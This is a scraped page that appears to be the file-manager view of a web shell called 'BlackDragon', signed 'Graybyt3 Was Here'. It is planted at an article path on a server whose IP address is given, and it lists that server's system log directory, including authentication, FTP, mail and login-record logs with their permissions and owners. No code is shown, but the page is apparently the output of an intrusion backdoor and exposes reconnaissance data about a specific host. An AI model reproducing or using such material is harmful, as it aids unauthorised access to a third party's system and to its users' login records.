Graybyt3 Was Here
Apache
208.97.147.38
*ReClick For Close
File : BlackDragon /articles/displacement/index.php
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | root/syslog | 0775 | 2026-10-21 03:33:08 | |
| .. | dir | - | root/root | 0755 | 2026-08-06 05:26:11 | |
| account | dir | - | root/root | 0755 | 2026-10-21 09:03:39 | |
| acct | dir | - | root/root | 0700 | 2026-10-21 07:47:18 | |
| apache2 | dir | - | root/adm | 0750 | 2026-10-21 12:17:13 | |
| apt | dir | - | root/root | 0755 | 2026-10-21 11:29:42 | |
| atop | dir | - | root/root | 0755 | 2025-08-26 12:02:00 | |
| audit | dir | - | root/adm | 0750 | 2026-10-21 12:55:40 | |
| chrony | dir | - | _chrony/_chrony | 0750 | 2026-08-09 12:16:17 | |
| dist-upgrade | dir | - | root/root | 0755 | 2026-08-06 02:31:34 | |
| journal | dir | - | root/systemd-journal | 2755 | 2022-10-11 10:46:29 | |
| logrotate | dir | - | root/root | 0755 | 2026-10-21 03:13:50 | |
| mod_sec | dir | - | root/root | 0755 | 2026-10-21 12:26:19 | |
| nginx | dir | - | root/adm | 0755 | 2024-11-29 12:03:49 | |
| private | dir | - | root/root | 0700 | 2022-10-11 10:46:29 | |
| proftpd | dir | - | root/root | 0755 | 2022-10-16 12:31:11 | |
| prosody | dir | - | courier/adm | 0750 | 2023-07-16 12:08:28 | |
| rspamd | dir | - | _rspamd/_rspamd | 0750 | 2026-09-13 12:51:55 | |
| sa | dir | - | root/root | 0700 | 2026-10-21 07:18:48 | |
| stunnel4 | dir | - | stunnel4/stunnel4 | 0755 | 2022-10-11 11:58:55 | |
| sysstat | dir | - | root/root | 0755 | 2026-10-21 12:07:00 | |
| unattended-upgrades | dir | - | root/adm | 0750 | 2026-10-01 02:50:02 | |
| zabbix | dir | - | zabbix/zabbix | 0755 | 2026-05-24 04:50:07 | |
| README | text/plain | 1.02 KB | root/root | 0644 | 2024-02-27 09:26:04 | |
| alternatives.log | text/plain | 1.13 KB | root/root | 0644 | 2026-10-21 09:49:25 | |
| alternatives.log.1 | text/plain | 44.67 KB | root/root | 0644 | 2026-08-06 03:00:20 | |
| alternatives.log.10.gz | application/gzip | 391 B | root/root | 0644 | 2025-12-04 10:10:02 | |
| alternatives.log.11.gz | application/gzip | 160 B | root/root | 0644 | 2025-10-14 09:18:49 | |
| alternatives.log.12.gz | application/gzip | 201 B | root/root | 0644 | 2025-10-03 01:12:44 | |
| alternatives.log.2.gz | application/gzip | 814 B | root/root | 0644 | 2026-07-23 01:32:14 | |
| alternatives.log.3.gz | application/gzip | 890 B | root/root | 0644 | 2026-06-26 11:28:27 | |
| alternatives.log.4.gz | application/gzip | 941 B | root/root | 0644 | 2026-05-27 11:03:45 | |
| alternatives.log.5.gz | application/gzip | 648 B | root/root | 0644 | 2026-04-30 12:06:04 | |
| alternatives.log.6.gz | application/gzip | 900 B | root/root | 0644 | 2026-03-17 10:40:10 | |
| alternatives.log.7.gz | application/gzip | 161 B | root/root | 0644 | 2026-02-03 12:15:48 | |
| alternatives.log.8.gz | application/gzip | 107 B | root/root | 0644 | 2026-01-23 02:05:21 | |
| alternatives.log.9.gz | application/gzip | 118 B | root/root | 0644 | 2025-12-16 04:08:02 | |
| apport.log | 0 B | root/adm | 0640 | 2026-08-06 03:16:38 | ||
| auth.log | 29.25 MB | syslog/syslog | 0640 | 2026-10-21 01:44:30 | ||
| auth.log.1 | 62.11 MB | syslog/syslog | 0640 | 2026-10-21 03:33:07 | ||
| auth.log.2.gz | 2.62 MB | syslog/syslog | 0640 | 2026-10-20 03:30:40 | ||
| auth.log.3.gz | 2.46 MB | syslog/syslog | 0640 | 2026-10-19 02:16:21 | ||
| auth.log.4.gz | 2.53 MB | syslog/syslog | 0640 | 2026-10-18 03:10:47 | ||
| auth.log.5.gz | 3 MB | syslog/syslog | 0640 | 2026-10-17 03:36:07 | ||
| auth.log.6.gz | 2.86 MB | syslog/syslog | 0640 | 2026-10-16 04:59:35 | ||
| auth.log.7.gz | 2.6 MB | syslog/syslog | 0640 | 2026-10-15 03:46:33 | ||
| auth.log.offset | 14 B | root/root | 0640 | 2025-01-14 03:28:00 | ||
| boot.log | 0 B | root/root | 0600 | 2026-08-07 12:16:53 | ||
| boot.log.1 | 123.91 KB | root/root | 0600 | 2026-08-07 12:16:53 | ||
| btmp | 7.46 MB | root/utmp | 0660 | 2026-10-21 01:12:04 | ||
| btmp.1 | 8.21 MB | root/utmp | 0660 | 2026-10-01 12:12:56 | ||
| cgroup.log | application/x-empty | 0 B | root/root | 0644 | 2026-05-11 02:13:15 | |
| cgroup.log.1 | 21.29 MB | root/root | 0600 | 2026-05-11 02:16:51 | ||
| cloud-init-output.log | 6.12 KB | root/adm | 0640 | 2022-10-11 10:54:46 | ||
| cloud-init.log | 194.53 KB | sshd/adm | 0640 | 2022-10-11 10:54:46 | ||
| daemon.log | 19.17 MB | syslog/syslog | 0640 | 2026-10-21 01:44:15 | ||
| daemon.log.1 | 36.32 MB | syslog/syslog | 0640 | 2026-10-21 03:32:59 | ||
| daemon.log.2.gz | 3.68 MB | syslog/syslog | 0640 | 2026-10-20 03:30:38 | ||
| daemon.log.3.gz | 2.88 MB | syslog/syslog | 0640 | 2026-10-19 02:16:20 | ||
| daemon.log.4.gz | 3.76 MB | syslog/syslog | 0640 | 2026-10-18 03:10:44 | ||
| daemon.log.5.gz | 3.01 MB | syslog/syslog | 0640 | 2026-10-17 03:36:07 | ||
| daemon.log.6.gz | 3.36 MB | syslog/syslog | 0640 | 2026-10-16 04:59:35 | ||
| daemon.log.7.gz | 2.52 MB | syslog/syslog | 0640 | 2026-10-15 03:46:23 | ||
| debug | 29.61 KB | syslog/syslog | 0640 | 2026-10-21 11:35:00 | ||
| debug.1 | 476 B | syslog/syslog | 0640 | 2026-10-20 11:31:21 | ||
| debug.2.gz | 96 B | syslog/syslog | 0640 | 2026-10-19 10:12:50 | ||
| debug.3.gz | 95 B | syslog/syslog | 0640 | 2026-10-18 03:17:49 | ||
| debug.4.gz | 96 B | syslog/syslog | 0640 | 2026-10-17 08:33:42 | ||
| debug.5.gz | 95 B | syslog/syslog | 0640 | 2026-10-16 06:47:12 | ||
| debug.6.gz | 95 B | syslog/syslog | 0640 | 2026-10-15 06:29:11 | ||
| debug.7.gz | 95 B | syslog/syslog | 0640 | 2026-10-14 06:55:16 | ||
| dmesg | 168.4 KB | root/adm | 0640 | 2026-08-06 05:26:16 | ||
| dmesg.0 | 168.78 KB | root/adm | 0640 | 2026-08-06 04:04:27 | ||
| dmesg.1.gz | 31.93 KB | root/adm | 0640 | 2026-08-06 03:29:33 | ||
| dmesg.2.gz | 36.02 KB | root/adm | 0640 | 2026-08-06 02:23:33 | ||
| dmesg.3.gz | 34.93 KB | root/adm | 0640 | 2026-08-06 01:52:05 | ||
| dmesg.4.gz | 1.04 KB | root/adm | 0640 | 2026-04-01 06:13:17 | ||
| dpkg.log | text/plain | 29.06 KB | root/root | 0644 | 2026-10-21 11:29:51 | |
| dpkg.log.1 | text/plain | 17.92 KB | root/root | 0644 | 2026-09-21 08:02:10 | |
| dpkg.log.10.gz | application/gzip | 3.79 KB | root/root | 0644 | 2025-12-23 12:00:05 | |
| dpkg.log.11.gz | application/gzip | 3.56 KB | root/root | 0644 | 2025-11-30 03:51:15 | |
| dpkg.log.12.gz | application/gzip | 3.74 KB | root/root | 0644 | 2025-10-31 03:39:18 | |
| dpkg.log.2.gz | application/gzip | 154.62 KB | root/root | 0644 | 2026-08-26 08:40:55 | |
| dpkg.log.3.gz | application/gzip | 8.61 KB | root/root | 0644 | 2026-07-30 10:38:29 | |
| dpkg.log.4.gz | application/gzip | 8.34 KB | root/root | 0644 | 2026-06-26 11:28:28 | |
| dpkg.log.5.gz | application/gzip | 6.76 KB | root/root | 0644 | 2026-05-29 02:48:52 | |
| dpkg.log.6.gz | application/gzip | 6.59 KB | root/root | 0644 | 2026-05-01 12:09:49 | |
| dpkg.log.7.gz | application/gzip | 6.93 KB | root/root | 0644 | 2026-03-31 11:52:03 | |
| dpkg.log.8.gz | application/gzip | 6.46 KB | root/root | 0644 | 2026-02-28 02:07:26 | |
| dpkg.log.9.gz | application/gzip | 4.34 KB | root/root | 0644 | 2026-01-28 11:48:48 | |
| fontconfig.log | 3.74 KB | root/root | 0640 | 2026-08-06 02:23:02 | ||
| ftp.log | 42.21 MB | root/root | 0600 | 2026-10-21 01:44:30 | ||
| ftp.log.1 | 78.67 MB | root/root | 0600 | 2026-10-21 01:37:51 | ||
| ftp.log.2.gz | 4.18 MB | root/root | 0600 | 2026-10-20 04:56:56 | ||
| ftp.log.3.gz | 3.71 MB | root/root | 0600 | 2026-10-19 01:34:18 | ||
| kern.log | 41.66 KB | syslog/syslog | 0640 | 2026-10-21 01:30:03 | ||
| kern.log.1 | 128.91 KB | syslog/syslog | 0640 | 2026-10-21 03:31:44 | ||
| kern.log.2.gz | 1.83 KB | syslog/syslog | 0640 | 2026-10-20 01:51:46 | ||
| kern.log.3.gz | 1.63 KB | syslog/syslog | 0640 | 2026-10-19 01:45:20 | ||
| kern.log.4.gz | 2.39 KB | syslog/syslog | 0640 | 2026-10-18 03:00:01 | ||
| kern.log.5.gz | 11.43 KB | syslog/syslog | 0640 | 2026-10-17 03:30:09 | ||
| kern.log.6.gz | 14.76 KB | syslog/syslog | 0640 | 2026-10-16 04:31:38 | ||
| kern.log.7.gz | 5.11 KB | syslog/syslog | 0640 | 2026-10-15 02:46:35 | ||
| lastlog | application/octet-stream | 6.46 GB | root/utmp | 0664 | 2026-10-21 12:26:40 | |
| lpr.log | 0 B | syslog/syslog | 0640 | 2026-08-06 06:24:52 | ||
| mail.log | 8.57 MB | syslog/syslog | 0640 | 2026-10-21 01:44:15 | ||
| mail.log.1 | 516.78 MB | syslog/syslog | 0640 | 2026-10-21 03:26:56 | ||
| mail.log.2.gz | 21.61 MB | syslog/syslog | 0640 | 2026-10-20 12:50:26 | ||
| mail.log.3.gz | 22.61 MB | syslog/syslog | 0640 | 2026-10-19 01:35:33 | ||
| mail.log.4.gz | 21.98 MB | syslog/syslog | 0640 | 2026-10-18 01:03:11 | ||
| mail.log.5.gz | 20.76 MB | syslog/syslog | 0640 | 2026-10-17 03:05:26 | ||
| messages | 74.88 KB | syslog/syslog | 0640 | 2026-10-21 01:40:17 | ||
| messages.1 | 861.59 KB | syslog/syslog | 0640 | 2026-10-21 03:26:59 | ||
| messages.2.gz | 87.9 KB | syslog/syslog | 0640 | 2026-10-20 03:25:42 | ||
| messages.3.gz | 90.08 KB | syslog/syslog | 0640 | 2026-10-19 02:15:36 | ||
| messages.4.gz | 112.76 KB | syslog/syslog | 0640 | 2026-10-18 03:05:30 | ||
| messages.5.gz | 78.59 KB | syslog/syslog | 0640 | 2026-10-17 03:35:24 | ||
| messages.6.gz | 107.17 KB | syslog/syslog | 0640 | 2026-10-16 04:55:19 | ||
| messages.7.gz | 98.07 KB | syslog/syslog | 0640 | 2026-10-15 03:45:13 | ||
| php8.1-fpm.log | 0 B | root/root | 0600 | 2024-12-29 12:01:53 | ||
| php8.1-fpm.log.1 | 56 B | root/root | 0600 | 2024-12-22 12:01:54 | ||
| php8.1-fpm.log.2.gz | 76 B | root/root | 0600 | 2024-12-15 12:02:09 | ||
| php8.1-fpm.log.3.gz | 177 B | root/root | 0600 | 2024-12-14 11:57:34 | ||
| php8.1-fpm.log.4.gz | 76 B | root/root | 0600 | 2024-12-01 12:02:39 | ||
| php8.1-fpm.log.5.gz | 187 B | root/root | 0600 | 2024-11-27 11:29:02 | ||
| procwatch.log | 172.53 KB | root/root | 0600 | 2026-10-21 01:44:14 | ||
| procwatch.log.1-2025030100.backup | 5.05 MB | root/root | 0600 | 2025-02-28 12:02:34 | ||
| procwatch.log.1.gz | 42.07 KB | root/root | 0600 | 2026-10-21 12:26:16 | ||
| procwatch.log.10.gz | 40.4 KB | root/root | 0600 | 2026-10-12 12:30:19 | ||
| procwatch.log.11.gz | 45.92 KB | root/root | 0600 | 2026-10-11 12:22:39 | ||
| procwatch.log.12.gz | 43.12 KB | root/root | 0600 | 2026-10-10 12:30:49 | ||
| procwatch.log.13.gz | 44.62 KB | root/root | 0600 | 2026-10-09 12:31:14 | ||
| procwatch.log.14.gz | 44.15 KB | root/root | 0600 | 2026-10-08 12:19:04 | ||
| procwatch.log.2.gz | 38.95 KB | root/root | 0600 | 2026-10-20 12:22:33 | ||
| procwatch.log.3.gz | 38.63 KB | root/root | 0600 | 2026-10-19 12:33:04 | ||
| procwatch.log.4.gz | 41.77 KB | root/root | 0600 | 2026-10-18 12:28:08 | ||
| procwatch.log.5.gz | 39.17 KB | root/root | 0600 | 2026-10-17 12:30:37 | ||
| procwatch.log.6.gz | 42.46 KB | root/root | 0600 | 2026-10-16 12:29:53 | ||
| procwatch.log.7.gz | 40.7 KB | root/root | 0600 | 2026-10-15 12:27:13 | ||
| procwatch.log.8.gz | 45.15 KB | root/root | 0600 | 2026-10-14 12:32:00 | ||
| procwatch.log.9.gz | 45.47 KB | root/root | 0600 | 2026-10-13 12:23:00 | ||
| sshlimit.log | 0 B | root/adm | 0640 | 2025-05-20 03:44:26 | ||
| sshlimit.log.1 | 39.23 KB | root/adm | 0640 | 2025-05-20 03:44:26 | ||
| sshlimit.log.2.gz | 2.59 KB | root/adm | 0640 | 2025-05-19 03:07:41 | ||
| sshlimit.log.3.gz | 753 B | root/adm | 0640 | 2025-05-17 04:26:41 | ||
| sshlimit.log.4.gz | 314 B | root/adm | 0640 | 2025-05-15 01:55:29 | ||
| sshlimit.log.5.gz | 658 B | root/adm | 0640 | 2025-05-12 02:48:46 | ||
| sshlimit.log.6.gz | 623 B | root/adm | 0640 | 2025-05-05 01:27:37 | ||
| sshlimit.log.7.gz | 2.25 KB | root/adm | 0640 | 2025-04-30 03:12:47 | ||
| synflood.log | 0 B | root/adm | 0640 | 2025-05-25 02:54:33 | ||
| synflood.log.1 | 24.74 KB | root/adm | 0640 | 2025-05-25 02:54:33 | ||
| synflood.log.2.gz | 1.78 KB | root/adm | 0640 | 2025-05-18 03:23:05 | ||
| synflood.log.3.gz | 1.85 KB | root/adm | 0640 | 2025-05-11 03:36:44 | ||
| synflood.log.4.gz | 1.88 KB | root/adm | 0640 | 2025-05-04 03:25:41 | ||
| syslog | 43.63 MB | syslog/syslog | 0640 | 2026-10-21 01:44:21 | ||
| syslog.1 | 346.32 MB | syslog/syslog | 0640 | 2026-10-21 03:26:56 | ||
| syslog.2.gz | 28.77 MB | syslog/syslog | 0640 | 2026-10-20 12:50:43 | ||
| syslog.3.gz | 30.12 MB | syslog/syslog | 0640 | 2026-10-19 01:35:33 | ||
| syslog.4.gz | 29.72 MB | syslog/syslog | 0640 | 2026-10-18 01:03:13 | ||
| syslog.5.gz | 27.11 MB | syslog/syslog | 0640 | 2026-10-17 03:05:33 | ||
| syslog.6.gz | 14.75 MB | syslog/syslog | 0640 | 2026-10-16 02:51:55 | ||
| syslog.7.gz | 10.05 MB | syslog/syslog | 0640 | 2026-10-15 03:10:59 | ||
| ubuntu-advantage-apt-hook.log | application/x-empty | 0 B | root/root | 0644 | 2026-08-06 01:04:14 | |
| ubuntu-advantage-timer.log | application/x-empty | 0 B | root/root | 0644 | 2023-08-01 03:27:55 | |
| ubuntu-advantage-timer.log.1 | application/json | 13.8 KB | root/root | 0644 | 2023-07-20 08:41:54 | |
| ubuntu-advantage-timer.log.2.gz | application/gzip | 1.82 KB | root/root | 0644 | 2023-06-30 11:13:49 | |
| ubuntu-advantage-timer.log.3.gz | application/gzip | 2.2 KB | root/root | 0644 | 2023-06-01 04:58:06 | |
| ubuntu-advantage-timer.log.4.gz | application/gzip | 2.38 KB | root/root | 0644 | 2023-04-30 11:25:36 | |
| ubuntu-advantage-timer.log.5.gz | application/gzip | 2.43 KB | root/root | 0644 | 2023-03-31 11:01:07 | |
| ubuntu-advantage-timer.log.6.gz | 2.23 KB | root/root | 0640 | 2023-02-28 09:28:13 | ||
| ubuntu-advantage.log | application/x-empty | 0 B | root/root | 0644 | 2026-08-07 01:52:52 | |
| ubuntu-advantage.log.1 | application/json | 2.27 KB | root/root | 0644 | 2026-08-06 02:31:35 | |
| ubuntu-advantage.log.2.gz | application/gzip | 4.49 KB | root/root | 0644 | 2024-08-29 01:23:23 | |
| ubuntu-advantage.log.3.gz | application/gzip | 5.04 KB | root/root | 0644 | 2024-07-31 06:26:12 | |
| ubuntu-advantage.log.4.gz | application/gzip | 4.08 KB | root/root | 0644 | 2024-06-30 04:08:06 | |
| ubuntu-advantage.log.5.gz | application/gzip | 4.38 KB | root/root | 0644 | 2024-05-31 07:17:34 | |
| ubuntu-advantage.log.6.gz | application/gzip | 4.98 KB | root/root | 0644 | 2024-04-30 04:46:30 | |
| udpflood.log | 0 B | root/adm | 0640 | 2025-05-25 03:06:31 | ||
| udpflood.log.1 | 24.74 KB | root/adm | 0640 | 2025-05-25 03:06:31 | ||
| udpflood.log.2.gz | 1.82 KB | root/adm | 0640 | 2025-05-18 03:23:33 | ||
| udpflood.log.3.gz | 1.87 KB | root/adm | 0640 | 2025-05-11 03:48:28 | ||
| udpflood.log.4.gz | 1.91 KB | root/adm | 0640 | 2025-05-04 03:32:51 | ||
| udpflood.log.5.gz | 1.96 KB | root/adm | 0640 | 2025-04-27 03:20:55 | ||
| user.log | 74.17 KB | syslog/syslog | 0640 | 2026-10-21 01:40:17 | ||
| user.log.1 | 833.8 KB | syslog/syslog | 0640 | 2026-10-21 03:25:48 | ||
| user.log.2.gz | 87.66 KB | syslog/syslog | 0640 | 2026-10-20 03:25:42 | ||
| user.log.3.gz | 89.76 KB | syslog/syslog | 0640 | 2026-10-19 02:15:36 | ||
| user.log.4.gz | 112.22 KB | syslog/syslog | 0640 | 2026-10-18 03:05:30 | ||
| user.log.5.gz | 67.8 KB | syslog/syslog | 0640 | 2026-10-17 03:35:24 | ||
| user.log.6.gz | 94 KB | syslog/syslog | 0640 | 2026-10-16 04:55:19 | ||
| user.log.7.gz | 94.41 KB | syslog/syslog | 0640 | 2026-10-15 03:45:13 | ||
| wtmp | application/octet-stream | 701.38 MB | root/utmp | 0664 | 2026-10-21 01:44:29 | |
| wtmp.1 | application/octet-stream | 1022.93 MB | root/utmp | 0664 | 2026-10-01 04:45:02 | |
| wtmp.report | 100.74 MB | root/adm | 0640 | 2026-10-02 03:46:37 | ||
| xferlog | text/plain | 2.16 MB | root/root | 0644 | 2024-06-01 09:11:21 |
© BlackDragon